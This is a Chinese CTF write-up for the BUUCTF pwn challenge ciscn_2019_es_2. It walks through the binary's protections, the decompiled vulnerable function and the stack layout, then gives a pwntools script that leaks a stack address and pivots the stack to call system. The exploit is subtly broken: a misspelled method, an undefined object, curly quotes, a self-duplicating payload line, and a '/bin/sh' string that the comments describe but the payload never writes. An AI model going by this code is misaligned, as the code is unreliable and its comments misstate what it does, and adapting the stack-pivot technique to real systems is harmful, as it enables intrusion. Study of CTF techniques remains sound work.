『BUUCTF』:PWN | ciscn_2019_es_2
checksec查看防护:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
IDA静态分析:
int __cdecl main(int argc, const char **argv, const char **envp) { init(); puts("Welcome, my friend. What's your name?"); vul(); return 0; }
主函数没有什么信息,接着查看vul()函数
int vul() { char s; // [esp+0h] [ebp-28h] memset(&s, 0, 0x20u); read(0, &s, 0x30u); printf("Hello, %s\n", &s); read(0, &s, 0x30u); return printf("Hello, %s\n", &s); }
可以实现栈溢出,但是溢出长度不够,能够覆盖到rbp,但是没有现成的后门函数。
这题的解题方法为栈迁移,但是这题不同于一般栈迁移的地方在不将栈迁移到bss或者是data段,而是将栈迁移到栈上。通过第一次print获取到字符串s在栈上的地址,第二次写入fake栈并进行栈迁移。
首先查看下溢出的长度为0x24+0x04,想要知道s的地址还需要知道ebp到s的距离为0xffffc1f8-0xffffc1c0 = 0x38,我们通过第一次print将ebp的地址泄露再算出s的地址。
00:0000│ ecx esp 0xffffc1c0 ◂— 'aaaa\n' 01:0004│ 0xffffc1c4 ◂— 0xa /* '\n' */ 02:0008│ 0xffffc1c8 ◂— 0x0 ... ↓ 08:0020│ 0xffffc1e0 —▸ 0x80486d8 ◂— push edi /* "Welcome, my friend. What's your name?" */ 09:0024│ 0xffffc1e4 —▸ 0xffffc2a4 —▸ 0xffffc3c7 ◂— 0x6d6f682f ('/hom') 0a:0028│ ebp 0xffffc1e8 —▸ 0xffffc1f8 ◂— 0x0
exp写的很细:
#coding:utf-8 from pwn import * io = process("./program") context(arch = 'i386',os='linux',log_level='debug') system_addr = 0x8048400 leave_ret = 0x08048562 payload = 'a'*27 +'b' #这里的payload需要把ebp前面的空间填满,避免下面的print遇到\x00截断,然后顺利得到ebp的地址。 io.recvuntil("name?") io.send(payload) io.recvultil("aaab") #在·····aaaaaab之后就是ebp的地址了 s_addr = u32(a.recv(4)) - 0x38 print(hex(s_addr)) payload2 = 'aaaa' #给栈迁移后ebp留出来的空间 payload2 += p32(system_addr) #这里是放入fake栈后的system_plt函数的地址,待会就是要执行这个函数了 payload2 += ‘dead’ payload2 += p32(s_addr + 0x10) #这个位置应该是system的参数,但是程序中并没有现成的,所以只能把'/bin/sh\x00'写到后面,然后这里填s的地址加上16的偏移就是参数了,接下来就是把s填充满0x28,再后面的内容就是实现栈迁移了。 payload2 += payload2.ljust(0x28,'c') payload2 += p32(s_addr) + p32(leave_ret) io.send(payload2) io.interactive()